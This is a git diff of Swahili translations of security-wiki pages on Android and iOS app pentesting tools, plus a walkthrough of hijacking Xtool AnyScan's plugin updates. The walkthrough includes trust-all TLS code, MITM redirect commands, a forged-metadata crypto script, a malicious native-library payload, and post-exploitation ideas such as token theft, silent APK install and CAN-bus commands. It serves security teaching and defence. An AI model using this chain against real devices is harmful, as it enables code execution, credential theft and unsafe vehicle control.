Hata hivyo, ikiwa picha hii ina **taarifa nyeti**, mtu mwenye ufikiaji wa picha hiyo anaweza **kuiba taarifa hiyo** (kumbuka kuwa unahitaji root ili kuweza kuifikia).
|
||||
|
||||
Picha hizo kwa kawaida huhifadhiwa katika: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android inatoa njia ya **kuzuia upigaji picha wa skrini kwa kuweka kipimo cha FLAG_SECURE**. Kwa kutumia bendera hii, maudhui ya dirisha yanachukuliwa kama salama, na kuzuia kuonekana katika picha za skrini au kuonekana kwenye onyesho lisilo salama.
|
||||
Android inatoa njia ya **kuzuia upigaji picha wa skrini kwa kuweka kipimo cha FLAG_SECURE** katika mpangilio. Kwa kutumia bendera hii, maudhui ya dirisha yanachukuliwa kama salama, na kuzuia kuonekana katika picha za skrini au kuonekana kwenye onyesho lisilo salama.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
### **Mchambuzi wa Programu za Android**
|
||||
|
||||
Chombo hiki kinaweza kusaidia katika kusimamia zana mbalimbali wakati wa uchambuzi wa dynamic: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
||||
Chombo hiki kinaweza kukusaidia kusimamia zana mbalimbali wakati wa uchambuzi wa dynamic: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
||||
|
||||
### Kuingilia kwa Intent
|
||||
### Uingizaji wa Intent
|
||||
|
||||
Wakuu wa programu mara nyingi huunda vipengele vya proxy kama shughuli, huduma, na wapokeaji wa matangazo ambao hushughulikia hizi Intents na kuzipitisha kwa mbinu kama `startActivity(...)` au `sendBroadcast(...)`, ambayo inaweza kuwa hatari.
|
||||
|
||||
Hatari iko katika kuruhusu washambuliaji kuanzisha vipengele vya programu visivyoweza kusambazwa au kufikia watoa maudhui nyeti kwa kuhamasisha hizi Intents. Mfano maarufu ni kipengele cha `WebView` kinachobadilisha URLs kuwa vitu vya `Intent` kupitia `Intent.parseUri(...)` na kisha kuvitenda, ambayo inaweza kusababisha kuingilia kwa Intent zenye uharibifu.
|
||||
Hatari iko katika kuruhusu washambuliaji kuanzisha vipengele vya programu visivyoweza kusambazwa au kufikia watoa maudhui nyeti kwa kuhamasisha hizi Intents. Mfano maarufu ni kipengele cha `WebView` kinachobadilisha URLs kuwa vitu vya `Intent` kupitia `Intent.parseUri(...)` na kisha kuvitenda, ambayo inaweza kusababisha uingizaji wa Intent mbaya.
|
||||
|
||||
### Mambo Muhimu ya Kujifunza
|
||||
### Maelezo Muhimu
|
||||
|
||||
- **Kuingilia kwa Intent** ni sawa na tatizo la Open Redirect la wavuti.
|
||||
- Uhalifu unahusisha kupitisha vitu vya `Intent` kama ziada, ambavyo vinaweza kuhamasishwa kutekeleza operesheni zisizo salama.
|
||||
- **Uingizaji wa Intent** ni sawa na tatizo la Open Redirect la wavuti.
|
||||
- Uhalifu unahusisha kupitisha vitu vya `Intent` kama ziada, ambavyo vinaweza kuelekezwa kutekeleza operesheni zisizo salama.
|
||||
- Inaweza kufichua vipengele visivyoweza kusambazwa na watoa maudhui kwa washambuliaji.
|
||||
- Kubadilisha URL ya `WebView` kuwa `Intent` kunaweza kuwezesha vitendo visivyokusudiwa.
|
||||
- Mabadiliko ya URL ya `WebView` kuwa `Intent` yanaweza kuwezesha vitendo visivyokusudiwa.
|
||||
|
||||
### Kuingilia kwa Kliendi ya Android na mengineyo
|
||||
### Uingizaji wa Kando ya Mteja wa Android na mengineyo
|
||||
|
||||
Labda unajua kuhusu aina hii ya udhaifu kutoka kwa Wavuti. Lazima uwe makini sana na udhaifu huu katika programu ya Android:
|
||||
|
||||
- **SQL Injection:** Unaposhughulikia maswali ya dynamic au Watoa-Maudhui hakikisha unatumia maswali yaliyopangwa.
|
||||
- **JavaScript Injection (XSS):** Hakikisha kuwa msaada wa JavaScript na Plugin umezimwa kwa WebViews yoyote (umezimwa kwa default). [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
|
||||
- **Inclusion ya Faili za Mitaa:** WebViews zinapaswa kuwa na ufikiaji wa mfumo wa faili umezimwa (umewezeshwa kwa default) - `(webview.getSettings().setAllowFileAccess(false);)`. [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
|
||||
- **Cookies za Milele**: Katika kesi kadhaa wakati programu ya android inamaliza kikao, cookie haifutwi au inaweza hata kuhifadhiwa kwenye diski.
|
||||
- [**Lipu la Usalama** katika cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
- **Uingizaji wa SQL:** Unaposhughulikia maswali ya dynamic au Watoa-Maudhui hakikisha unatumia maswali yaliyowekwa.
|
||||
- **Uingizaji wa JavaScript (XSS):** Hakikisha kuwa msaada wa JavaScript na Plugin umezimwa kwa WebViews yoyote (umezimwa kwa default). [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
|
||||
- **Ujumuishaji wa Faili za Mitaa:** WebViews zinapaswa kuwa na ufikiaji wa mfumo wa faili umezimwa (umewezeshwa kwa default) - `(webview.getSettings().setAllowFileAccess(false);)`. [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
|
||||
- **Kuki za Milele**: Katika kesi kadhaa wakati programu ya android inamaliza kikao, kuki haifutwi au inaweza hata kuhifadhiwa kwenye diski.
|
||||
- [**Lipu la Usalama** katika kuki](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
---
|
||||
|
||||
@ -544,23 +544,23 @@ MobSF pia inakuwezesha **diff/Compare** uchambuzi na kuunganisha **VirusTotal**
|
||||
- Captura **trafiki ya HTTPS**
|
||||
- Tumia **Frida** kupata **maelezo ya wakati wa utekelezaji**
|
||||
|
||||
Kuanzia **matoleo ya android > 5**, itaanza **Frida** kiotomatiki na kuweka mipangilio ya **proxy** ya kimataifa ili **kuchukua** trafiki. Itachukua tu trafiki kutoka kwa programu iliyojaribiwa.
|
||||
Kuanzia toleo la android **> 5**, itaanza **Frida** kiotomatiki na kuweka mipangilio ya **proxy** ya kimataifa ili **kuchukua** trafiki. Itachukua tu trafiki kutoka kwa programu iliyojaribiwa.
|
||||
|
||||
**Frida**
|
||||
|
||||
Kwa kawaida, itatumia baadhi ya Scripts za Frida ili **kupita SSL pinning**, **ugunduzi wa root** na **ugunduzi wa debugger** na **kufuatilia APIs za kuvutia**.\
|
||||
MobSF pia inaweza **kuitisha shughuli zilizofanywa**, kuchukua **picha za skrini** za hizo na **kuhifadhi** kwa ripoti.
|
||||
MobSF pia inaweza **kuita shughuli zilizofanywa**, kuchukua **picha za skrini** za hizo na **kuhifadhi** kwa ripoti.
|
||||
|
||||
Ili **kuanza** upimaji wa dynamic bonyeza kitufe kibichi: "**Start Instrumentation**". Bonyeza "**Frida Live Logs**" kuona logs zinazozalishwa na scripts za Frida na "**Live API Monitor**" kuona kila mwito kwa mbinu zilizoshikiliwa, hoja zilizopitishwa na thamani zilizorejeshwa (hii itaonekana baada ya kubonyeza "Start Instrumentation").\
|
||||
MobSF pia inakuwezesha kupakia **scripts za Frida** zako mwenyewe (ili kutuma matokeo ya scripts zako za Ijumaa kwa MobSF tumia kazi `send()`). Pia ina **scripts kadhaa zilizandikwa awali** ambazo unaweza kupakia (unaweza kuongeza zaidi katika `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), chagua tu **zinazo**, bonyeza "**Load**" na bonyeza "**Start Instrumentation**" (utaweza kuona logs za hizo scripts ndani ya "**Frida Live Logs**").
|
||||
MobSF pia inakuwezesha kupakia **scripts za Frida** zako mwenyewe (ili kutuma matokeo ya scripts zako za Ijumaa kwa MobSF tumia kazi `send()`). Pia ina **scripts kadhaa zilizandikwa awali** ambazo unaweza kupakia (unaweza kuongeza zaidi katika `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), chagua tu **zile**, bonyeza "**Load**" na bonyeza "**Start Instrumentation**" (utaweza kuona logs za hizo scripts ndani ya "**Frida Live Logs**").
|
||||
|
||||
.png>)
|
||||
|
||||
Zaidi ya hayo, una baadhi ya kazi za ziada za Frida:
|
||||
|
||||
- **Enumerate Loaded Classes**: Itachapisha kila darasa lililopakiwa
|
||||
- **Capture Strings**: Itachapisha kila mfuatano wa maandiko wakati wa kutumia programu (sauti nyingi)
|
||||
- **Capture String Comparisons**: Inaweza kuwa ya manufaa sana. It **onyesha maandiko 2 yanayolinganishwa** na ikiwa matokeo yalikuwa Kweli au Uongo.
|
||||
- **Capture Strings**: Itachapisha kila nyenzo iliyokamatwa wakati wa kutumia programu (sauti nyingi)
|
||||
- **Capture String Comparisons**: Inaweza kuwa ya manufaa sana. It **onyesha nyenzo 2 zinazolinganishwa** na ikiwa matokeo yalikuwa Kweli au Uongo.
|
||||
- **Enumerate Class Methods**: Weka jina la darasa (kama "java.io.File") na itachapisha mbinu zote za darasa hilo.
|
||||
- **Search Class Pattern**: Tafuta madarasa kwa muundo
|
||||
- **Trace Class Methods**: **Trace** **darasa zima** (ona ingizo na matokeo ya mbinu zote za darasa hilo). Kumbuka kwamba kwa kawaida MobSF inafuatilia mbinu kadhaa za kuvutia za Android Api.
|
||||
@ -569,7 +569,7 @@ Mara tu unapochagua moduli ya ziada unayotaka kutumia unahitaji kubonyeza "**Sta
|
||||
|
||||
**Shell**
|
||||
|
||||
Mobsf pia inakuletea shell yenye baadhi ya **adb** amri, **MobSF commands**, na amri za kawaida za **shell** chini ya ukurasa wa uchambuzi wa dynamic. Baadhi ya amri za kuvutia:
|
||||
Mobsf pia inakuletea shell yenye baadhi ya amri za **adb**, **MobSF commands**, na amri za kawaida za **shell** chini ya ukurasa wa uchambuzi wa dynamic. Baadhi ya amri za kuvutia:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
@ -586,7 +586,7 @@ Ili kufanya hivyo, _washa Burp -->_ _zimisha Intercept --> katika MobSB HTTPTool
|
||||
Mara tu unapo maliza uchambuzi wa dynamic na MobSF unaweza kubonyeza "**Start Web API Fuzzer**" ili **fuzz maombi ya http** na kutafuta udhaifu.
|
||||
|
||||
> [!TIP]
|
||||
> Baada ya kufanya uchambuzi wa dynamic na MobSF mipangilio ya proxy inaweza kuwa na makosa na huwezi kuziweka sawa kutoka kwenye GUI. Unaweza kurekebisha mipangilio ya proxy kwa kufanya:
|
||||
> Baada ya kufanya uchambuzi wa dynamic na MobSF mipangilio ya proxy inaweza kuwa imepangwa vibaya na huwezi kuziweka sawa kutoka kwenye GUI. Unaweza kurekebisha mipangilio ya proxy kwa kufanya:
|
||||
>
|
||||
> ```
|
||||
> adb shell settings put global http_proxy :0
|
||||
@ -599,13 +599,13 @@ Chombo hiki kitatumia **Hooks** kukujulisha **kila kinachotokea katika programu*
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
Hii ni **zana nzuri ya kufanya uchambuzi wa statiki kwa GUI**
|
||||
Hii ni **chombo kizuri kufanya uchambuzi wa static na GUI**
|
||||
|
||||
.png>)
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Chombo hiki kimeundwa kutafuta udhaifu kadhaa **yanayohusiana na usalama wa programu za Android**, iwe katika **kanuni ya chanzo** au **APKs zilizopakiwa**. Chombo hiki pia **kina uwezo wa kuunda "Proof-of-Concept" APK inayoweza kutekelezwa** na **amri za ADB**, ili kutumia baadhi ya udhaifu uliofindika (Shughuli zilizo wazi, nia, tapjacking...). Kama ilivyo kwa Drozer, hakuna haja ya ku-root kifaa cha mtihani.
|
||||
Chombo hiki kimeundwa kutafuta udhaifu kadhaa **yanayohusiana na usalama wa programu za Android**, iwe katika **kanuni ya chanzo** au **APKs zilizopakiwa**. Chombo hiki pia **kina uwezo wa kuunda "Proof-of-Concept" APK inayoweza kutekelezwa** na **amri za ADB**, ili kutumia baadhi ya udhaifu uliofindika (Shughuli zilizo wazi, nia, tapjacking...). Kama ilivyo kwa Drozer, hakuna haja ya ku-root kifaa kinachojaribiwa.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -614,7 +614,7 @@ qark --java path/to/specific/java/file.java
|
||||
```
|
||||
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
|
||||
|
||||
- Inaonyesha faili zote zilizotolewa kwa ajili ya rejeleo rahisi
|
||||
- Inaonyesha faili zote zilizovunjwa kwa ajili ya marejeleo rahisi
|
||||
- Inachambua faili za APK moja kwa moja hadi katika muundo wa Java na Smali
|
||||
- Changanua AndroidManifest.xml kwa ajili ya udhaifu na tabia za kawaida
|
||||
- Uchambuzi wa msimbo wa chanzo wa statiki kwa ajili ya udhaifu na tabia za kawaida
|
||||
@ -647,7 +647,7 @@ Pakua [latest release](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
||||
|
||||
AndroBugs Framework ni mfumo wa uchambuzi wa udhaifu wa Android unaosaidia waendelezaji au hackers kupata udhaifu wa usalama unaoweza kuwepo katika programu za Android.\
|
||||
AndroBugs Framework ni mfumo wa uchambuzi wa udhaifu wa Android ambao unawasaidia waendelezaji au hackers kupata udhaifu wa usalama unaoweza kutokea katika programu za Android.\
|
||||
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
@ -655,11 +655,11 @@ androbugs.exe -f [APK file]
|
||||
```
|
||||
### [Androwarn](https://github.com/maaaaz/androwarn)
|
||||
|
||||
**Androwarn** ni chombo chenye lengo kuu la kugundua na kumwonya mtumiaji kuhusu tabia mbaya zinazoweza kutokea kutoka kwa programu ya Android.
|
||||
**Androwarn** ni chombo ambacho lengo lake kuu ni kugundua na kuonya mtumiaji kuhusu tabia mbaya zinazoweza kutokea zinazotengenezwa na programu ya Android.
|
||||
|
||||
Gundua inafanywa kwa **uchambuzi wa statiki** wa bytecode ya Dalvik ya programu, inayowakilishwa kama **Smali**, kwa kutumia maktaba ya [`androguard`](https://github.com/androguard/androguard).
|
||||
|
||||
Chombo hiki kinatafuta **tabia za kawaida za programu "mbaya"** kama: Uhamasishaji wa vitambulisho vya Simu, Ukatishaji wa mtiririko wa sauti/video, Marekebisho ya data za PIM, Utekelezaji wa msimbo wa kiholela...
|
||||
Chombo hiki kinatafuta **tabia za kawaida za programu "mbaya"** kama: Uhamasishaji wa vitambulisho vya Simu, Ukatishaji wa mtiririko wa Sauti/video, Marekebisho ya data za PIM, Utekelezaji wa msimbo wa kiholela...
|
||||
```
|
||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
```
|
||||
@ -667,7 +667,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** ni **M**ifumo wa **A**nalizi na **R**everse engineering wa **A**pplikasheni za **M**obile. Ni chombo kinachokusanya zana zinazotumika mara kwa mara za reverse engineering na uchambuzi wa programu za simu, kusaidia katika kupima programu za simu dhidi ya vitisho vya usalama wa simu vya OWASP. Lengo lake ni kufanya kazi hii iwe rahisi na rafiki kwa watengenezaji wa programu za simu na wataalamu wa usalama.
|
||||
**MARA** ni **M**ifumo wa **A**nalizi na **R**everse engineering wa **A**pplikesheni za **M**obile. Ni chombo kinachokusanya zana zinazotumika mara kwa mara za reverse engineering na uchambuzi wa programu za simu, kusaidia katika kupima programu za simu dhidi ya vitisho vya usalama wa simu vya OWASP. Lengo lake ni kufanya kazi hii iwe rahisi na rafiki kwa watengenezaji wa programu za simu na wataalamu wa usalama.
|
||||
|
||||
Inauwezo wa:
|
||||
|
||||
@ -688,7 +688,7 @@ Kumbuka kwamba kulingana na huduma na usanidi unayotumia kuondoa obfuscation ya
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
Kutoka [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** ni chombo cha amri cha chanzo wazi kinachopunguza, kuboresha na kuondoa obfuscation ya msimbo wa Java. Ina uwezo wa kuboresha bytecode pamoja na kugundua na kuondoa maagizo yasiyotumika. ProGuard ni programu ya bure na inasambazwa chini ya GNU General Public License, toleo la 2.
|
||||
Kutoka [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** ni chombo cha amri cha chanzo wazi kinachopunguza, kuboresha na kuondoa obfuscation ya msimbo wa Java. Inaweza kuboresha bytecode pamoja na kugundua na kuondoa maagizo yasiyotumika. ProGuard ni programu ya bure na inasambazwa chini ya GNU General Public License, toleo la 2.
|
||||
|
||||
ProGuard inasambazwa kama sehemu ya Android SDK na inafanya kazi wakati wa kujenga programu katika hali ya kutolewa.
|
||||
|
||||
|
||||
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Mifumo mingi ya programu za Android inatekeleza **“plugin” zao au “dynamic feature” channels za sasisho** badala ya kutumia Google Play Store. Wakati utekelezaji hauko salama, mshambuliaji anayeweza kukamata trafiki anaweza kutoa **msimbo wa asili wa kiholela ambao utawekwa ndani ya mchakato wa programu**, na kusababisha Utekelezaji wa Msimbo wa K remote (RCE) kwenye simu – na katika baadhi ya matukio kwenye kifaa chochote cha nje kinachodhibitiwa na programu (mashine, IoT, vifaa vya matibabu …).
|
||||
Mifumo mingi ya programu za Android inatekeleza **“plugin” zao au “dynamic feature” channels za sasisho** badala ya kutumia Google Play Store. Wakati utekelezaji hauko salama, mshambuliaji anayeweza kukamata trafiki anaweza kutoa **msimbo wa asili usio na mipaka ambao utawekwa ndani ya mchakato wa programu**, na kusababisha Utekelezaji wa Msimbo wa K remote (RCE) kwenye simu – na katika baadhi ya matukio kwenye kifaa chochote cha nje kinachodhibitiwa na programu (magari, IoT, vifaa vya matibabu …).
|
||||
|
||||
Ukurasa huu unatoa muhtasari wa mnyororo wa udhaifu wa kweli uliopatikana katika programu ya uchambuzi wa magari ya Xtool **AnyScan** (v4.40.11 → 4.40.40) na kuufanya kuwa wa jumla ili uweze kukagua programu nyingine za Android na kutumia makosa ya usanidi wakati wa ushirikiano wa timu nyekundu.
|
||||
|
||||
---
|
||||
## 1. Kutambua TrustManager Isiyo Salama ya TLS
|
||||
|
||||
1. Fanya decompile ya APK kwa kutumia jadx / apktool na upate safu ya mtandao (OkHttp, HttpUrlConnection, Retrofit…).
|
||||
2. Tafuta **`TrustManager` ya kawaida** au `HostnameVerifier` inayotegemea kwa blind kila cheti:
|
||||
1. Fanya decompile ya APK kwa kutumia jadx / apktool na pata safu ya mtandao (OkHttp, HttpUrlConnection, Retrofit…).
|
||||
2. Tafuta **`TrustManager` ya kawaida** au `HostnameVerifier` inayotegemea kila cheti bila masharti:
|
||||
```java
|
||||
public static TrustManager[] buildTrustManagers() {
|
||||
return new TrustManager[]{
|
||||
@ -22,7 +22,7 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
|
||||
};
|
||||
}
|
||||
```
|
||||
3. Ikiwa ipo, programu itakubali **cheti chochote cha TLS** → unaweza kuendesha **MITM proxy** wazi na cheti kilichojisaini mwenyewe:
|
||||
3. Ikiwa ipo, programu itakubali **cheti chochote cha TLS** → unaweza kuendesha **MITM proxy** wazi na cheti kilichojisajili mwenyewe:
|
||||
```bash
|
||||
mitmproxy -p 8080 -s addon.py # see §4
|
||||
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
|
||||
@ -36,10 +36,10 @@ https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
||||
Mwili wa jibu ni **document ya XML** ambayo nodi za `<FileData>` zina **JSON iliyosimbwa kwa Base64, DES-ECB** inayoelezea kila plugin inayopatikana.
|
||||
|
||||
Hatua za kawaida za uwindaji:
|
||||
1. Pata utaratibu wa crypto (kwa mfano `RemoteServiceProxy`) na urejeshe:
|
||||
1. Pata utaratibu wa crypto (mfano `RemoteServiceProxy`) na urejeshe:
|
||||
* algorithimu (DES / AES / RC4 …)
|
||||
* njia ya uendeshaji (ECB / CBC / GCM …)
|
||||
* funguo / IV zilizowekwa kwa nguvu (mara nyingi funguo za DES za bit 56 au funguo za AES za bit 128 katika constants)
|
||||
* funguo zilizowekwa kwa nguvu / IV (mara nyingi funguo za DES za bit 56 au funguo za AES za bit 128 katika constants)
|
||||
2. Re-implementa kazi hiyo katika Python ili kufungua / kusimbia metadata:
|
||||
```python
|
||||
from Crypto.Cipher import DES
|
||||
@ -57,7 +57,7 @@ return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"
|
||||
```
|
||||
## 3. Tengeneza Plugin Mbaya
|
||||
|
||||
1. Chagua ZIP ya plugin halali yoyote na uweke maktaba asilia na payload yako:
|
||||
1. Chagua ZIP ya plugin halali yoyote na badilisha maktaba asilia na payload yako:
|
||||
```c
|
||||
// libscan_x64.so – constructor runs as soon as the library is loaded
|
||||
__attribute__((constructor))
|
||||
@ -93,27 +93,27 @@ Kimbia seva rahisi ya wavuti ili kuhifadhi ZIP yenye uharibifu:
|
||||
```bash
|
||||
python3 -m http.server 8000 --directory ./payloads
|
||||
```
|
||||
Wakati mwathiriwa anapoanzisha programu, itafanya:
|
||||
* kupakua XML yetu iliyoundwa kupitia channel ya MITM;
|
||||
* kuifungua na kuichambua kwa kutumia funguo ya DES iliyowekwa kwa nguvu;
|
||||
* kupakua `PWNED.zip` → kufungua ndani ya hifadhi ya kibinafsi;
|
||||
* `dlopen()` *libscan_x64.so* iliyojumuishwa, mara moja ikitekeleza msimbo wetu **kwa ruhusa za programu** (kamera, GPS, Bluetooth, mfumo wa faili, …).
|
||||
When the victim launches the app it will:
|
||||
* fetch our forged XML over the MITM channel;
|
||||
* decrypt & parse it with the hard-coded DES key;
|
||||
* download `PWNED.zip` → unzip inside private storage;
|
||||
* `dlopen()` the included *libscan_x64.so*, instantly executing our code **with the app’s permissions** (camera, GPS, Bluetooth, filesystem, …).
|
||||
|
||||
Kwa sababu plugin inahifadhiwa kwenye diski, backdoor **inasalia hata baada ya kuwashwa upya** na inafanya kazi kila wakati mtumiaji anapochagua kipengele kinachohusiana.
|
||||
Because the plugin is cached on disk the backdoor **persists across reboots** and runs every time the user selects the related feature.
|
||||
|
||||
## 5. Mawazo ya Baada ya Kutekeleza
|
||||
## 5. Wazo Baada ya Utekelezaji
|
||||
|
||||
* Kuiba vidakuzi vya kikao, alama za OAuth, au JWTs zilizohifadhiwa na programu.
|
||||
* Kuacha APK ya hatua ya pili na kuisakinisha kimya kimya kupitia `pm install` (programu tayari ina `REQUEST_INSTALL_PACKAGES`).
|
||||
* Kutumia vifaa vyovyote vilivyounganishwa – katika hali ya AnyScan unaweza kutuma **amri za OBD-II / CAN bus** zisizo na mipaka (fungua milango, zima ABS, nk.).
|
||||
* Pora vidakuzi vya kikao, tokens za OAuth, au JWTs zilizohifadhiwa na programu.
|
||||
* Acha APK ya hatua ya pili na kuisakinisha kimya kimya kupitia `pm install` (programu tayari ina `REQUEST_INSTALL_PACKAGES`).
|
||||
* Tumia vifaa vyovyote vilivyounganishwa – katika hali ya AnyScan unaweza kutuma amri za **OBD-II / CAN bus** (fungua milango, zima ABS, nk.).
|
||||
|
||||
---
|
||||
### Orodha ya Ugunduzi na Kupunguza (timu ya buluu)
|
||||
### Orodha ya Ugunduzi & Kupunguza (timu ya buluu)
|
||||
|
||||
* KAMWE usisambaze toleo la uzalishaji lenye TrustManager/HostnameVerifier maalum inayozuia uthibitishaji wa cheti.
|
||||
* Usipakue msimbo wa kutekeleza kutoka nje ya Google Play. Ikiwa *lazima*, sahihi kila plugin kwa funguo ile ile ya **apkSigning v2** na thibitisha saini kabla ya kupakia.
|
||||
* Badilisha crypto dhaifu/iliyowekwa kwa nguvu na **AES-GCM** na funguo inayobadilika upande wa seva.
|
||||
* Thibitisha uhalali wa maktaba zilizopakuliwa (saini au angalau SHA-256).
|
||||
* Usipakue msimbo wa kutekeleza kutoka nje ya Google Play. Ikiwa *lazima*, sahihi kila plugin kwa ufunguo sawa wa **apkSigning v2** na thibitisha saini kabla ya kupakia.
|
||||
* Badilisha crypto dhaifu/iliyowekwa kwa **AES-GCM** na ufunguo unaobadilika upande wa seva.
|
||||
* Thibitisha uadilifu wa maktaba zilizopakuliwa (saini au angalau SHA-256).
|
||||
|
||||
---
|
||||
## Marejeleo
|
||||
|
||||
@ -20,7 +20,7 @@ ios-testing-environment.md
|
||||
|
||||
### Basic iOS Testing Operations
|
||||
|
||||
Wakati wa kupima **operesheni kadhaa zitapendekezwa** (unganisho na kifaa, kusoma/kandika/kuhamasisha/kuhamasisha faili, kutumia zana kadhaa...). Hivyo, ikiwa hujui jinsi ya kufanya mojawapo ya hatua hizi tafadhali, **anza kusoma ukurasa**:
|
||||
Wakati wa kupima **operesheni kadhaa zitapendekezwa** (unganisho na kifaa, kusoma/kandika/kupload/download faili, kutumia zana kadhaa...). Hivyo, ikiwa hujui jinsi ya kufanya mojawapo ya hatua hizi tafadhali, **anza kusoma ukurasa**:
|
||||
|
||||
{{#ref}}
|
||||
basic-ios-testing-operations.md
|
||||
@ -37,11 +37,11 @@ Baadhi ya decompilers za iOS - IPA files zinazovutia:
|
||||
- [https://github.com/LaurieWired/Malimite](https://github.com/LaurieWired/Malimite)
|
||||
- [https://ghidra-sre.org/](https://ghidra-sre.org/)
|
||||
|
||||
Inapendekezwa kutumia zana [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) kufanya Uchambuzi wa Kawaida wa moja kwa moja kwa IPA file.
|
||||
Inapendekezwa kutumia zana [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) kufanya Uchambuzi wa Kawaida wa moja kwa moja kwa faili la IPA.
|
||||
|
||||
Utambuzi wa **ulinzi ulio katika binary**:
|
||||
|
||||
- **PIE (Position Independent Executable)**: Wakati umewezeshwa, programu inaloadi kwenye anwani ya kumbukumbu ya nasibu kila wakati inapoanzishwa, na kufanya kuwa vigumu kutabiri anwani yake ya awali ya kumbukumbu.
|
||||
- **PIE (Position Independent Executable)**: Wakati umewezeshwa, programu inaload kwenye anwani ya kumbukumbu ya nasibu kila wakati inapoanzishwa, na kufanya iwe vigumu kutabiri anwani yake ya awali ya kumbukumbu.
|
||||
|
||||
```bash
|
||||
otool -hv <app-binary> | grep PIE # Inapaswa kujumuisha bendera ya PIE
|
||||
@ -59,7 +59,7 @@ otool -I -v <app-binary> | grep stack_chk # Inapaswa kujumuisha alama: stack_c
|
||||
otool -I -v <app-binary> | grep objc_release # Inapaswa kujumuisha alama ya _objc_release
|
||||
```
|
||||
|
||||
- **Encrypted Binary**: Binary inapaswa kuwa imefichwa
|
||||
- **Encrypted Binary**: Binary inapaswa kuwa imeandikwa
|
||||
|
||||
```bash
|
||||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Cryptid inapaswa kuwa 1
|
||||
@ -135,7 +135,7 @@ grep -iER "_vsprintf"
|
||||
|
||||
### Basic Dynamic Analysis
|
||||
|
||||
Angalia uchambuzi wa dynamic ambao [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) unafanya. Utahitaji kuzunguka kupitia maoni tofauti na kuingiliana nayo lakini itakuwa ikihooki madarasa kadhaa wakati wa kufanya mambo mengine na itatayarisha ripoti mara utakapokamilisha.
|
||||
Angalia uchambuzi wa dynamic ambao [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) unafanya. Utahitaji kuzunguka kupitia maoni tofauti na kuingiliana nayo lakini itakuwa ikihook baadhi ya madarasa wakati wa kufanya mambo mengine na itatayarisha ripoti mara umemaliza.
|
||||
|
||||
### Listing Installed Apps
|
||||
|
||||
@ -154,7 +154,7 @@ PID Name Identifier
|
||||
```
|
||||
### Msingi wa Uhesabu & Kuunganisha
|
||||
|
||||
Jifunze jinsi ya **kuhesabu vipengele vya programu** na jinsi ya **kuunganisha mbinu na madarasa** kwa kutumia objection:
|
||||
Jifunze jinsi ya **kuhesabu vipengele vya programu** na jinsi ya kwa urahisi **kuunganisha mbinu na madarasa** kwa kutumia objection:
|
||||
|
||||
{{#ref}}
|
||||
ios-hooking-with-objection.md
|
||||
@ -168,17 +168,17 @@ Muundo wa **faili ya IPA** kimsingi ni sawa na **kifurushi kilichozungushwa**. K
|
||||
- **`_CodeSignature/`**: Hii ni directory inayojumuisha faili ya plist ambayo ina saini, kuhakikisha uadilifu wa faili zote ndani ya bundle.
|
||||
- **`Assets.car`**: Hifadhi iliyoshinikizwa inayohifadhi faili za mali kama ikoni.
|
||||
- **`Frameworks/`**: Folda hii ina maktaba asilia za programu, ambazo zinaweza kuwa katika mfumo wa faili za `.dylib` au `.framework`.
|
||||
- **`PlugIns/`**: Hii inaweza kujumuisha nyongeza kwa programu, inayojulikana kama faili za `.appex`, ingawa hazipo kila wakati. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Inatumika kuhifadhi data ya kudumu ya programu yako kwa matumizi ya mtandaoni, kuhifadhi data ya muda, na kuongeza kazi ya kufuta kwenye programu yako kwenye kifaa kimoja. Ili kusawazisha data kati ya vifaa vingi katika akaunti moja ya iCloud, Core Data inakidhi moja kwa moja muundo wako kwenye kontena la CloudKit.
|
||||
